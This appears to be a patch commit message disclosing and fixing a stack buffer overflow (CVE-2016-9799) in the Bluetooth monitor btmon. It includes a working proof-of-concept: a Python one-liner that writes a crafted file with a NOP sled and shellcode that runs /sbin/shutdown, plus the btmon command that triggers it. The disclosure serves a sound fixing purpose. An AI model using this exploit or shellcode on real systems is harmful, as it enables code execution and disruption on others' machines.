Arbitrary code execution vulnerability was discovered in btmon.
pklg_read_hci function read from file attacker controllable
amount of data which caused stack buffer overflow.
Fixes old and previously unfixed CVE-2016-9799.
Initially this was reported by op7ic:
https://www.spinics.net/lists/linux-bluetooth/msg68898.html
Later this was re-discovered by fuzzing btmon with AFL.
Proof-of-concept exploit that shutowns the machine:
$ python -c 'print "\x00\x00\x0c\x10"+ "\x90"*609 +"\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"+ "\x90"*847 +"\xb0\xda\xff\xff\xff\x7f\x00\x00"' > exploit
$ ./btmon -r exploit
Proof of concept requires that ASLR is disabled and following CFLAGS are
set: -fno-stack-protector -zexecstack
